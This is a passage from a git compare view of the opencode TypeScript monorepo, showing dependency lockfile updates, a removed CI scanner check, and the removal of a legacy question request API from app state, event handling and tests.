Compare commits

..

10 Commits

Author SHA1 Message Date
Kit Langton a5040e022e feat(catalog): copy capture image from context menu 2026-08-14 10:44:19 -04:00
opencode-agent[bot] 9872fb8a54 refactor(api): remove legacy question service (#42562)
Co-authored-by: Filip Hejmowski <fhejmowski@simplito.com>
Co-authored-by: neriousy <hejmowskifilip@gmail.com>
Co-authored-by: Kit Langton <kit.langton@gmail.com>
2026-08-14 14:38:32 +00:00
Kit Langton baf5ce3b7e fix(tui): debounce shared storage reloads (#42579) 2026-08-14 14:14:42 +00:00
Kit Langton 70efd3fb38 fix(tui): preserve background hint timing (#42577) 2026-08-14 13:18:53 +00:00
Kit Langton a1a663d60e refactor(cli): replace updater semver dependency (#42492) 2026-08-14 09:09:52 -04:00
Kit Langton 4a899bb730 refactor(tui): rebuild tab pulse on gated envelopes (#42496) 2026-08-14 08:54:16 -04:00
opencode-agent[bot] b6b313943f chore: generate 2026-08-14 12:41:52 +00:00
opencode-agent[bot] 3a4c8cdf9d revert(core): remove portable shell permission scanner (#42571)
Co-authored-by: Kit Langton <kit.langton@gmail.com>
2026-08-14 08:40:40 -04:00
opencode-agent[bot] 8d71099577 chore: generate 2026-08-14 12:23:07 +00:00
Simon Klee c0b4a0ce91 tui: update OpenTUI to 0.5.3 (#42568) 2026-08-14 14:21:52 +02:00
105 changed files with 1313 additions and 7486 deletions
@@ -5,4 +5,4 @@
"@opencode-ai/client": minor
---
Replace Core shell permission parsing with portable, fail-closed Bash and PowerShell scanners.
Remove the unused question request API and use session forms for question tool interactions.
-10
View File
@@ -76,16 +76,6 @@ jobs:
env:
OPENCODE_EXPERIMENTAL_DISABLE_FILEWATCHER: ${{ runner.os == 'Windows' && 'true' || 'false' }}
- name: Verify PowerShell 7 scanner conformance
if: always() && runner.os == 'Windows'
working-directory: packages/shell-scan
run: PWSH=pwsh bun run research:powershell
- name: Verify Windows PowerShell scanner conformance
if: always() && runner.os == 'Windows'
working-directory: packages/shell-scan
run: PWSH=powershell.exe bun run research:powershell
- name: Verify compiled service lifecycle
if: always()
timeout-minutes: 10
+33 -37
View File
@@ -137,9 +137,11 @@
"immer": "11.1.4",
"jsonc-parser": "3.3.1",
"open": "10.1.2",
"semver": "catalog:",
"solid-js": "catalog:",
"tree-sitter-bash": "0.25.0",
"tree-sitter-powershell": "0.25.10",
"uqr": "0.1.3",
"web-tree-sitter": "0.25.10",
"ws": "8.21.0",
},
"devDependencies": {
@@ -163,7 +165,6 @@
"@parcel/watcher-win32-x64": "2.5.1",
"@tsconfig/bun": "catalog:",
"@types/bun": "catalog:",
"@types/semver": "catalog:",
"@typescript/native-preview": "catalog:",
"@yuuang/ffi-rs-darwin-arm64": "1.3.2",
"@yuuang/ffi-rs-linux-arm64-gnu": "1.3.2",
@@ -188,15 +189,12 @@
"@types/bun": "catalog:",
"@typescript/native-preview": "catalog:",
"effect": "catalog:",
"solid-js": "catalog:",
},
"peerDependencies": {
"effect": "4.0.0-beta.101",
"solid-js": ">=1.9.0",
},
"optionalPeers": [
"effect",
"solid-js",
],
},
"packages/codemode": {
@@ -385,7 +383,10 @@
"immer": "11.1.4",
"jsonc-parser": "3.3.1",
"mime-types": "3.0.2",
"tree-sitter-bash": "0.25.0",
"tree-sitter-powershell": "0.25.10",
"venice-ai-sdk-provider": "2.1.1",
"web-tree-sitter": "0.25.10",
"which": "6.0.1",
"zod": "catalog:",
},
@@ -393,7 +394,6 @@
"@effect/platform-node": "catalog:",
"@effect/sql-sqlite-bun": "catalog:",
"@opencode-ai/http-recorder": "workspace:*",
"@opencode-ai/shell-scan": "workspace:*",
"@parcel/watcher-darwin-arm64": "2.5.1",
"@parcel/watcher-darwin-x64": "2.5.1",
"@parcel/watcher-linux-arm64-glibc": "2.5.1",
@@ -633,9 +633,9 @@
},
"peerDependencies": {
"@opencode-ai/theme": "workspace:*",
"@opentui/core": ">=0.5.2",
"@opentui/keymap": ">=0.5.2",
"@opentui/solid": ">=0.5.2",
"@opentui/core": ">=0.5.3",
"@opentui/keymap": ">=0.5.3",
"@opentui/solid": ">=0.5.3",
"solid-js": ">=1.9.0",
},
"optionalPeers": [
@@ -760,15 +760,6 @@
"vite": "catalog:",
},
},
"packages/shell-scan": {
"name": "@opencode-ai/shell-scan",
"version": "0.0.0",
"devDependencies": {
"@tsconfig/bun": "catalog:",
"@types/bun": "catalog:",
"@typescript/native-preview": "catalog:",
},
},
"packages/simulation": {
"name": "@opencode-ai/simulation",
"version": "1.17.13",
@@ -1113,9 +1104,12 @@
},
},
"trustedDependencies": [
"electron",
"esbuild",
"tree-sitter-powershell",
"protobufjs",
"electron",
"web-tree-sitter",
"tree-sitter-bash",
],
"patchedDependencies": {
"@pierre/trees@1.0.0-beta.4": "patches/@pierre%2Ftrees@1.0.0-beta.4.patch",
@@ -1154,9 +1148,9 @@
"@npmcli/arborist": "9.4.0",
"@octokit/rest": "22.0.0",
"@openauthjs/openauth": "0.0.0-20250322224806",
"@opentui/core": "0.5.2",
"@opentui/keymap": "0.5.2",
"@opentui/solid": "0.5.2",
"@opentui/core": "0.5.3",
"@opentui/keymap": "0.5.3",
"@opentui/solid": "0.5.3",
"@pierre/diffs": "1.2.10",
"@playwright/test": "1.59.1",
"@sentry/solid": "10.36.0",
@@ -2146,8 +2140,6 @@
"@opencode-ai/session-ui": ["@opencode-ai/session-ui@workspace:packages/session-ui"],
"@opencode-ai/shell-scan": ["@opencode-ai/shell-scan@workspace:packages/shell-scan"],
"@opencode-ai/simulation": ["@opencode-ai/simulation@workspace:packages/simulation"],
"@opencode-ai/slack": ["@opencode-ai/slack@workspace:packages/slack"],
@@ -2204,27 +2196,27 @@
"@opentelemetry/semantic-conventions": ["@opentelemetry/semantic-conventions@1.43.0", "", {}, "sha512-eSYWTm620tTk45EKSedaUL8MFYI8hW164hIXsgIHyxu3VobUB3fFCu5t0hQby6OoWRPsG1KkKUG2M5UadiLiVg=="],
"@opentui/core": ["@opentui/core@0.5.2", "", { "dependencies": { "bun-ffi-structs": "0.3.1", "diff": "9.0.0", "marked": "17.0.1", "string-width": "7.2.0", "strip-ansi": "7.1.2" }, "optionalDependencies": { "@opentui/core-darwin-arm64": "0.5.2", "@opentui/core-darwin-x64": "0.5.2", "@opentui/core-linux-arm64": "0.5.2", "@opentui/core-linux-arm64-musl": "0.5.2", "@opentui/core-linux-x64": "0.5.2", "@opentui/core-linux-x64-musl": "0.5.2", "@opentui/core-win32-arm64": "0.5.2", "@opentui/core-win32-x64": "0.5.2" }, "peerDependencies": { "web-tree-sitter": "0.25.10" } }, "sha512-GOuD0Mq1ylybq9eEX6L0TdYlfJ2zJVLGecuh6yEM8RpT9oMtR0f+gEWqGJsBN/ay+Y5TOCH9b3vePEcwOW01fg=="],
"@opentui/core": ["@opentui/core@0.5.3", "", { "dependencies": { "bun-ffi-structs": "0.3.1", "diff": "9.0.0", "marked": "17.0.1", "string-width": "7.2.0", "strip-ansi": "7.1.2" }, "optionalDependencies": { "@opentui/core-darwin-arm64": "0.5.3", "@opentui/core-darwin-x64": "0.5.3", "@opentui/core-linux-arm64": "0.5.3", "@opentui/core-linux-arm64-musl": "0.5.3", "@opentui/core-linux-x64": "0.5.3", "@opentui/core-linux-x64-musl": "0.5.3", "@opentui/core-win32-arm64": "0.5.3", "@opentui/core-win32-x64": "0.5.3" }, "peerDependencies": { "web-tree-sitter": "0.25.10" } }, "sha512-K8EQu44cx0rhnn3v3baCQW18Bpci3GltZayOwVpGGsbiAGL1WUYqwQjuaWsmS0c4dCa9rQ5xCEoHB1C4936nDg=="],
"@opentui/core-darwin-arm64": ["@opentui/core-darwin-arm64@0.5.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-fGi/RubZIhxcU8+M3GXNaBmEHqf127ZOnKmUTSp4ty2QdQ0kT4RTd+t91a/oyxrLZjjCmry0jXyquT0CZR1Byw=="],
"@opentui/core-darwin-arm64": ["@opentui/core-darwin-arm64@0.5.3", "", { "os": "darwin", "cpu": "arm64" }, "sha512-R39YeUqaMb/rH1h6G4MkB4MLVKIrRaUaXLfVqorZM4xgU5BxnfPetRk1vWR9vuLCvDwskg+kQ589kULw0o6AWA=="],
"@opentui/core-darwin-x64": ["@opentui/core-darwin-x64@0.5.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-ezFpB+5mQTd9BS4VvHOYEgQK6YxiYwVUmFb2sfTbJBnTqbOFP3Z/cdE5qNUHoeLQ01/nOs2dmUPcGyWxtMZIzw=="],
"@opentui/core-darwin-x64": ["@opentui/core-darwin-x64@0.5.3", "", { "os": "darwin", "cpu": "x64" }, "sha512-1pmUas/chTVFGeiN19kaOx+5Xbte/DLhcgKyACwWO0M3+xE3z1v/6QGSyX6CoP5HBpmDroiX+JHv1ic/JlGd/g=="],
"@opentui/core-linux-arm64": ["@opentui/core-linux-arm64@0.5.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-9S53zkIkbwRb0iIv2thibK+IofpTCEz/c48rJNaBx3qDylaDcTA11k5oqt1gkFcOLernlqIcow8aMCNDnRYMAA=="],
"@opentui/core-linux-arm64": ["@opentui/core-linux-arm64@0.5.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-0nMo9Q9VIaQVdw2SNKlwIEWMmf3z+cI4jRdCkh36e2RU1FO7LrIBAEmV1ZuRp1CIFVGPkqCXIizCeckZHTr4yQ=="],
"@opentui/core-linux-arm64-musl": ["@opentui/core-linux-arm64-musl@0.5.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-s2DB6he7jgbBqWOHBAIV/p4X12mj+Hlk1pAEcwK36j2wg+L4nVVdWecUJm1xeJn6LJSRcaJYE29sA45w5b7B2g=="],
"@opentui/core-linux-arm64-musl": ["@opentui/core-linux-arm64-musl@0.5.3", "", { "os": "linux", "cpu": "arm64" }, "sha512-QOYAxbbWrhYo27Cd6m0ATzpEx9YCAKAq82LgfUn0xu+VKXLNu+Q3hMNSVbG0SepUQQZil5rz228R9o9Cs8995w=="],
"@opentui/core-linux-x64": ["@opentui/core-linux-x64@0.5.2", "", { "os": "linux", "cpu": "x64" }, "sha512-HO0TWovqxo95hxFoTBx47MTP6pzzTW/QMoOIiD8jw0hkrn1DF8rSVPva0vLQMRer/drO9RpjyroFRNra7710og=="],
"@opentui/core-linux-x64": ["@opentui/core-linux-x64@0.5.3", "", { "os": "linux", "cpu": "x64" }, "sha512-hdAYLriLpTj3lvpMyL25GPBzvM2w/n2KCSbIwTmgS2F/dPZYCKJxHEETj2lCvtStSp7KuY8tkg3Xl5RAq1v7gA=="],
"@opentui/core-linux-x64-musl": ["@opentui/core-linux-x64-musl@0.5.2", "", { "os": "linux", "cpu": "x64" }, "sha512-zyuJaRGBRbUOABgf3nJ2Jk/NmD+gS2dQpJzC2ikr2OMqclPVk7gFbPTHW2s/A3SJH7D8d0PJ6wL2wzXWMUdrWQ=="],
"@opentui/core-linux-x64-musl": ["@opentui/core-linux-x64-musl@0.5.3", "", { "os": "linux", "cpu": "x64" }, "sha512-BkVIiPQ1TOf5/FfmIpf7DQU5rT/FO6ASW5R/o/wonI5Pdul7XiDCu86gzGyk1x5k9Sbh6GLeq1fe8/tPmI7IaA=="],
"@opentui/core-win32-arm64": ["@opentui/core-win32-arm64@0.5.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-J1QxYJqxyAO49RyocqZSoGWs5uszlYot8sInLasi6nUbjCFg4h7Kvh+64+gxE2i4LASeyvMRpAIYwblI6eMbtg=="],
"@opentui/core-win32-arm64": ["@opentui/core-win32-arm64@0.5.3", "", { "os": "win32", "cpu": "arm64" }, "sha512-AjObTyZPU0xsK3Yk8GmhkboK6OcMoHBbydqYAybeHD4+v6axScSuZ3OEI9J05JJ9T7H2nZNky75tsdnjsvZJmg=="],
"@opentui/core-win32-x64": ["@opentui/core-win32-x64@0.5.2", "", { "os": "win32", "cpu": "x64" }, "sha512-9/F1Q19GdtkZ1jypa0dRP6v9SJHHc91XHs4ZSroamDeqSDyTaGu1bbWnKiC503gpNpQMY0mjOVg4g+WVJLdDig=="],
"@opentui/core-win32-x64": ["@opentui/core-win32-x64@0.5.3", "", { "os": "win32", "cpu": "x64" }, "sha512-e3nRlF2nSkLKCUPBF32OL9EDgtQDIh2pBo7tjhumpTyJ3qoNOa3us7DsM290Vw4xnakM6jpk9r9NzRf72CuMVg=="],
"@opentui/keymap": ["@opentui/keymap@0.5.2", "", { "dependencies": { "@opentui/core": "0.5.2" }, "peerDependencies": { "@opentui/react": "0.5.2", "@opentui/solid": "0.5.2", "react": ">=19.2.0", "solid-js": "1.9.12" }, "optionalPeers": ["@opentui/react", "@opentui/solid", "react", "solid-js"] }, "sha512-MKESKHGeGit/i416E4zOujJIn17ladl6w9oOACmrjgff3a1naLFF3salrkUjD0C+uTUvh+nNTah795RORTTMyQ=="],
"@opentui/keymap": ["@opentui/keymap@0.5.3", "", { "dependencies": { "@opentui/core": "0.5.3" }, "peerDependencies": { "@opentui/react": "0.5.3", "@opentui/solid": "0.5.3", "react": ">=19.2.0", "solid-js": "1.9.12" }, "optionalPeers": ["@opentui/react", "@opentui/solid", "react", "solid-js"] }, "sha512-VdvUabUDWnmgolzp1qiO55wz1zv0mMu5Z6tv+UQk9JqZRfKt5Q8XTDi0uQzhBb6qeLsHvXtRFOsnn6EFAcLixA=="],
"@opentui/solid": ["@opentui/solid@0.5.2", "", { "dependencies": { "@babel/core": "7.28.0", "@babel/preset-typescript": "7.27.1", "@opentui/core": "0.5.2", "babel-plugin-module-resolver": "5.0.2", "babel-preset-solid": "1.9.12", "entities": "7.0.1", "s-js": "^0.4.9" }, "peerDependencies": { "solid-js": "1.9.12" } }, "sha512-mPB6xhG0bufjhUpWj5e8g/1M3LYZUKPM0mPPz6O6KIXFtakHVCJZuff2l1vvDpKuuLOAjivL8jLU7OJ3ZSCRuw=="],
"@opentui/solid": ["@opentui/solid@0.5.3", "", { "dependencies": { "@babel/core": "7.28.0", "@babel/preset-typescript": "7.27.1", "@opentui/core": "0.5.3", "babel-plugin-module-resolver": "5.0.2", "babel-preset-solid": "1.9.12", "entities": "7.0.1", "s-js": "^0.4.9" }, "peerDependencies": { "solid-js": "1.9.12" } }, "sha512-IB6YC3ajucQeo06BMSNYRD7LHf8ndm6G5ETcYsS+51Mli5yW0ioyUr+6+qgqVtaQyOcJvaD1KWmK23pXLhsiwg=="],
"@orama/orama": ["@orama/orama@3.1.18", "", {}, "sha512-a61ljmRVVyG5MC/698C8/FfFDw5a8LOIvyOLW5fztgUXqUpc1jOfQzOitSCbge657OgXXThmY3Tk8fpiDb4UcA=="],
@@ -5718,6 +5710,10 @@
"traverse": ["traverse@0.3.9", "", {}, "sha512-iawgk0hLP3SxGKDfnDJf8wTz4p2qImnyihM5Hh/sGvQ3K37dPi/w8sRhdNIxYA1TwFwc5mDhIJq+O0RsvXBKdQ=="],
"tree-sitter-bash": ["tree-sitter-bash@0.25.0", "", { "dependencies": { "node-addon-api": "^8.2.1", "node-gyp-build": "^4.8.2" }, "peerDependencies": { "tree-sitter": "^0.25.0" }, "optionalPeers": ["tree-sitter"] }, "sha512-gZtlj9+qFS81qKxpLfD6H0UssQ3QBc/F0nKkPsiFDyfQF2YBqYvglFJUzchrPpVhZe9kLZTrJ9n2J6lmka69Vg=="],
"tree-sitter-powershell": ["tree-sitter-powershell@0.25.10", "", { "dependencies": { "node-addon-api": "^7.1.0", "node-gyp-build": "^4.8.0" }, "peerDependencies": { "tree-sitter": "^0.25.0" }, "optionalPeers": ["tree-sitter"] }, "sha512-bEt8QoySpGFnU3aa8WedQyNMaN6aTwy/WUbvIVt0JSKF+BbJoSHNHu+wCbhj7xLMsfB0AuffmiJm+B8gzva8Lg=="],
"treeverse": ["treeverse@3.0.0", "", {}, "sha512-gcANaAnd2QDZFmHFEOF4k7uc1J/6a6z3DJMd/QwEyxLoKGiptJRwid582r7QIsFlFMIZ3SnxfS52S4hm2DHkuQ=="],
"trim-lines": ["trim-lines@3.0.1", "", {}, "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg=="],
@@ -6432,8 +6428,6 @@
"@openauthjs/openauth/jose": ["jose@5.9.6", "", {}, "sha512-AMlnetc9+CV9asI19zHmrgS/WYsWUwCn2R7RzlbJWD7F9eWYUTGyBmU9o6PxngtLGOiDGPRu+Uc4fhKzbpteZQ=="],
"@opencode-ai/cli/semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="],
"@opencode-ai/console-app/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.7", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.11.0", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-DrpkEoM3j9cBBWhufqBwnbbn+3nf1N9FP6xuVJ+e220jbactKuQgaZwjwP5CP1t+O94brm2JgVMD2atMGX3xIQ=="],
"@opencode-ai/console-app/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
@@ -6992,6 +6986,8 @@
"tiny-async-pool/semver": ["semver@5.7.2", "", { "bin": { "semver": "bin/semver" } }, "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g=="],
"tree-sitter-bash/node-addon-api": ["node-addon-api@8.9.1", "", {}, "sha512-4eUQWVPCUUUiBjLnHS3cXWeC6ryoPUc0U3rP7IuzapoGbzMqd/r6KKO0clr0b+snQhsrueFEhCZDdK+LK7hxKg=="],
"tw-to-css/postcss": ["postcss@8.4.31", "", { "dependencies": { "nanoid": "^3.3.6", "picocolors": "^1.0.0", "source-map-js": "^1.0.2" } }, "sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ=="],
"tw-to-css/tailwindcss": ["tailwindcss@3.3.2", "", { "dependencies": { "@alloc/quick-lru": "^5.2.0", "arg": "^5.0.2", "chokidar": "^3.5.3", "didyoumean": "^1.2.2", "dlv": "^1.1.3", "fast-glob": "^3.2.12", "glob-parent": "^6.0.2", "is-glob": "^4.0.3", "jiti": "^1.18.2", "lilconfig": "^2.1.0", "micromatch": "^4.0.5", "normalize-path": "^3.0.0", "object-hash": "^3.0.0", "picocolors": "^1.0.0", "postcss": "^8.4.23", "postcss-import": "^15.1.0", "postcss-js": "^4.0.1", "postcss-load-config": "^4.0.1", "postcss-nested": "^6.0.1", "postcss-selector-parser": "^6.0.11", "postcss-value-parser": "^4.2.0", "resolve": "^1.22.2", "sucrase": "^3.32.0" }, "bin": { "tailwind": "lib/cli.js", "tailwindcss": "lib/cli.js" } }, "sha512-9jPkMiIBXvPc2KywkraqsUfbfj+dHDb+JPWtSJa9MLFdrPyazI7q6WX2sUrm7R9eVR7qqv3Pas7EvQFzxKnI6w=="],
+7 -3
View File
@@ -47,9 +47,9 @@
"@octokit/rest": "22.0.0",
"@hono/standard-validator": "0.2.0",
"@hono/zod-validator": "0.4.2",
"@opentui/core": "0.5.2",
"@opentui/keymap": "0.5.2",
"@opentui/solid": "0.5.2",
"@opentui/core": "0.5.3",
"@opentui/keymap": "0.5.3",
"@opentui/solid": "0.5.3",
"@tanstack/solid-virtual": "3.13.32",
"@shikijs/stream": "4.2.0",
"@standard-schema/spec": "1.1.0",
@@ -145,6 +145,10 @@
"esbuild",
"node-pty",
"protobufjs",
"tree-sitter",
"tree-sitter-bash",
"tree-sitter-powershell",
"web-tree-sitter",
"electron"
],
"overrides": {
@@ -87,7 +87,7 @@ test("shows a pending permission dock", async ({ page }) => {
permission: "bash",
patterns: ["git status", "git diff"],
metadata: {},
always: ["git *"],
always: [],
},
],
})
+1 -5
View File
@@ -11,9 +11,6 @@ import { extractPromptFromParts } from "@/utils/prompt"
import type { TextPart as SDKTextPart } from "@/types"
import { base64Encode } from "@opencode-ai/core/util/encode"
import { useLanguage } from "@/context/language"
import { useServerSDK } from "@/context/server-sdk"
import { sessionHref } from "@/utils/session-route"
import { ServerConnection } from "@/context/servers"
interface ForkableMessage {
id: string
@@ -30,7 +27,6 @@ export const DialogFork: Component = () => {
const navigate = useNavigate()
const sync = useSync()
const sdk = useSDK()
const serverSDK = useServerSDK()
const prompt = usePrompt()
const dialog = useDialog()
const language = useLanguage()
@@ -77,7 +73,7 @@ export const DialogFork: Component = () => {
.then((forked) => {
dialog.close()
prompt.set(restored, undefined, { dir, id: forked.id })
navigate(sessionHref(ServerConnection.key(serverSDK.server), forked.id))
navigate(`/${dir}/session/${forked.id}`)
})
.catch((err: unknown) => {
const message = err instanceof Error ? err.message : String(err)
@@ -4,7 +4,7 @@ import { useDialog } from "@opencode-ai/ui/context/dialog"
import { ProviderIcon } from "@opencode-ai/ui/provider-icon"
import { showToast } from "@/utils/toast"
import { popularProviders, useProviders } from "@/hooks/use-providers"
import { createMemo, type Component, For, Show, createEffect } from "solid-js"
import { createMemo, type Component, For, Show } from "solid-js"
import { useLanguage } from "@/context/language"
import { useServerSDK } from "@/context/server-sdk"
import { useServerSync } from "@/context/server-sync"
@@ -14,7 +14,6 @@ import { SettingsServerScope } from "../settings-server-picker"
import { InlineServerSelect } from "./parts/server-select"
import { SettingsListV2 } from "./parts/list"
import "./settings-v2.css"
import { useData } from "@/context/server"
type ProviderSource = "env" | "api" | "config" | "custom"
type ProviderItem = ReturnType<ReturnType<typeof useProviders>["connected"]>[number]
@@ -36,7 +35,6 @@ export const SettingsProvidersV2: Component<{
directory: string | undefined
onBack?: () => void
}> = (props) => {
const data = useData()
const dialog = useDialog()
const language = useLanguage()
const serverSdk = useServerSDK()
@@ -17,7 +17,6 @@ import type {
ReferenceListInput,
ReferenceListOutput,
ReferenceInfo,
QuestionRequest,
SessionApi,
SessionInfo,
} from "@opencode-ai/client/promise"
@@ -112,7 +111,6 @@ type LocationApi = { readonly get: (input?: LocationGetInput) => Promise<Locatio
type McpApi = ServerApi["mcp"]
type PermissionApi = ServerApi["permission"]
type QuestionApi = ServerApi["question"]
type VcsApi = ServerApi["vcs"]
export const loadProjectsQuery = (scope: ServerScope, projects: ProjectApi, worktrees: WorktreeApi) =>
@@ -303,7 +301,6 @@ export async function bootstrapDirectory(input: {
readonly mcp: McpApi
readonly permission: PermissionApi
readonly project: ProjectApi
readonly question: QuestionApi
readonly reference: ReferenceListApi
readonly session: SessionApi
readonly vcs: VcsApi
@@ -394,40 +391,6 @@ export async function bootstrapDirectory(input: {
)
}),
),
() =>
retry(() =>
input.api.question.request
.list({ location: { directory: input.directory } })
.then((result) => result.data)
.then((questions) => {
const ids = questions.map((question) => question.sessionID)
const grouped = groupBySession(
questions.filter((question) => !!question.id && !!question.sessionID) as QuestionRequest[],
)
const warm = input.session
? Promise.all(ids.map((sessionID) => input.session!.resolve(sessionID))).then(() => undefined)
: warmSessions({ ids, store: input.store, setStore: input.setStore, api: input.api.session })
return warm.then(() =>
batch(() => {
const current = input.session?.data.question ?? input.store.question
for (const sessionID of Object.keys(current)) {
if (grouped[sessionID]) continue
if (input.session?.get(sessionID)?.location.directory !== input.directory) continue
if (input.session) input.session.set("question", sessionID, [])
if (!input.session) input.setStore("question", sessionID, [])
}
for (const [sessionID, questions] of Object.entries(grouped)) {
const value = reconcile(
questions.filter((q) => !!q?.id).sort((a, b) => cmp(a.id, b.id)),
{ key: "id" },
)
if (input.session) input.session.set("question", sessionID, value)
if (!input.session) input.setStore("question", sessionID, value)
}
}),
)
}),
),
() => Promise.resolve(input.loadSessions(input.directory)),
input.mcp &&
(() => input.queryClient.fetchQuery(loadMcpQuery(input.scope, directoryKey(input.directory), input.api.mcp))),
@@ -250,7 +250,6 @@ export function createChildStoreManager(input: {
session_diff: {},
todo: {},
permission: {},
question: {},
get mcp_ready() {
return !mcpQuery.isLoading
},
@@ -1,6 +1,6 @@
import { describe, expect, test } from "bun:test"
import type { Message, Part, Project } from "@/types"
import type { PermissionRequest, QuestionRequest, SessionInfo } from "@opencode-ai/client/promise"
import type { PermissionRequest, SessionInfo } from "@opencode-ai/client/promise"
import { createStore } from "solid-js/store"
import type { State } from "./types"
import { applyDirectoryEvent, applyGlobalEvent, cleanupDroppedSessionCaches } from "./event-reducer"
@@ -45,19 +45,6 @@ const permissionRequest = (id: string, sessionID: string, title = id) =>
save: [],
}) as PermissionRequest
const questionRequest = (id: string, sessionID: string, title = id) =>
({
id,
sessionID,
questions: [
{
question: title,
header: title,
options: [{ label: title, description: title }],
},
],
}) as QuestionRequest
const baseState = (input: Partial<State> = {}) =>
({
status: "complete",
@@ -75,7 +62,6 @@ const baseState = (input: Partial<State> = {}) =>
session_diff: {},
todo: {},
permission: {},
question: {},
mcp: {},
lsp: [],
vcs: undefined,
@@ -220,7 +206,6 @@ describe("applyDirectoryEvent", () => {
session_diff: { ses_1: [] },
todo: { ses_1: [] },
permission: { ses_1: [] },
question: { ses_1: [] },
session_status: { ses_1: { type: "busy" } },
}),
)
@@ -241,7 +226,6 @@ describe("applyDirectoryEvent", () => {
expect(store.session_diff.ses_1).toBeUndefined()
expect(store.todo.ses_1).toBeUndefined()
expect(store.permission.ses_1).toBeUndefined()
expect(store.question.ses_1).toBeUndefined()
expect(store.session_status.ses_1).toBeUndefined()
})
@@ -282,7 +266,6 @@ describe("applyDirectoryEvent", () => {
session_diff: { [item.info.id]: [] },
todo: { [item.info.id]: [] },
permission: { [item.info.id]: [] },
question: { [item.info.id]: [] },
session_status: { [item.info.id]: { type: "busy" } },
}),
)
@@ -306,7 +289,6 @@ describe("applyDirectoryEvent", () => {
expect(store.session_diff[item.info.id]).toBeUndefined()
expect(store.todo[item.info.id]).toBeUndefined()
expect(store.permission[item.info.id]).toBeUndefined()
expect(store.question[item.info.id]).toBeUndefined()
expect(store.session_status[item.info.id]).toBeUndefined()
}
})
@@ -325,7 +307,6 @@ describe("applyDirectoryEvent", () => {
session_diff: { [dropped.id]: [] },
todo: { [dropped.id]: [] },
permission: { [dropped.id]: [] },
question: { [dropped.id]: [] },
session_status: { [dropped.id]: { type: "busy" } },
}),
)
@@ -349,7 +330,6 @@ describe("applyDirectoryEvent", () => {
expect(store.session_diff[dropped.id]).toBeUndefined()
expect(store.todo[dropped.id]).toBeUndefined()
expect(store.permission[dropped.id]).toBeUndefined()
expect(store.question[dropped.id]).toBeUndefined()
expect(store.session_status[dropped.id]).toBeUndefined()
expect(todos).toEqual([dropped.id])
})
@@ -486,12 +466,11 @@ describe("applyDirectoryEvent", () => {
expect(store.part[messageID]).toBeUndefined()
})
test("tracks permission and question request lifecycles", () => {
test("tracks permission request lifecycles", () => {
const sessionID = "ses_1"
const [store, setStore] = createStore(
baseState({
permission: { [sessionID]: [permissionRequest("perm_1", sessionID), permissionRequest("perm_3", sessionID)] },
question: { [sessionID]: [questionRequest("q_1", sessionID), questionRequest("q_3", sessionID)] },
}),
)
@@ -524,36 +503,6 @@ describe("applyDirectoryEvent", () => {
loadLsp() {},
})
expect(store.permission[sessionID]?.map((x) => x.id)).toEqual(["perm_1", "perm_3"])
applyDirectoryEvent({
event: { type: "question.asked", properties: questionRequest("q_2", sessionID) },
store,
setStore,
push() {},
directory: "/tmp",
loadLsp() {},
})
expect(store.question[sessionID]?.map((x) => x.id)).toEqual(["q_1", "q_2", "q_3"])
applyDirectoryEvent({
event: { type: "question.asked", properties: questionRequest("q_2", sessionID, "updated") },
store,
setStore,
push() {},
directory: "/tmp",
loadLsp() {},
})
expect(store.question[sessionID]?.find((x) => x.id === "q_2")?.questions[0]?.header).toBe("updated")
applyDirectoryEvent({
event: { type: "question.rejected", properties: { sessionID, requestID: "q_2" } },
store,
setStore,
push() {},
directory: "/tmp",
loadLsp() {},
})
expect(store.question[sessionID]?.map((x) => x.id)).toEqual(["q_1", "q_3"])
})
test("updates vcs branch in store and cache", () => {
@@ -5,7 +5,6 @@ import type { Message, Part, Project, Todo } from "@/types"
import type {
FileDiffInfo,
PermissionRequest,
QuestionRequest,
SessionInfo,
SessionStatus,
} from "@opencode-ai/client/promise"
@@ -27,9 +26,6 @@ const SESSION_CONTENT_EVENTS = new Set([
"message.part.delta",
"permission.asked",
"permission.replied",
"question.asked",
"question.replied",
"question.rejected",
])
export function applyGlobalEvent(input: {
@@ -86,7 +82,6 @@ export function cleanupDroppedSessionCaches(
...Object.keys(store.session_diff),
...Object.keys(store.todo),
...Object.keys(store.permission),
...Object.keys(store.question),
...Object.keys(store.session_status),
...Object.values(store.part)
.map((parts) => parts?.find((part) => !!part?.sessionID)?.sessionID)
@@ -438,43 +433,6 @@ export function applyDirectoryEvent(input: {
)
break
}
case "question.asked": {
const question = event.properties as QuestionRequest
const questions = input.store.question[question.sessionID]
if (!questions) {
input.setStore("question", question.sessionID, [question])
break
}
const result = Binary.search(questions, question.id, (q) => q.id)
if (result.found) {
input.setStore("question", question.sessionID, result.index, reconcile(question))
break
}
input.setStore(
"question",
question.sessionID,
produce((draft) => {
draft.splice(result.index, 0, question)
}),
)
break
}
case "question.replied":
case "question.rejected": {
const props = event.properties as { sessionID: string; requestID: string }
const questions = input.store.question[props.sessionID]
if (!questions) break
const result = Binary.search(questions, props.requestID, (q) => q.id)
if (!result.found) break
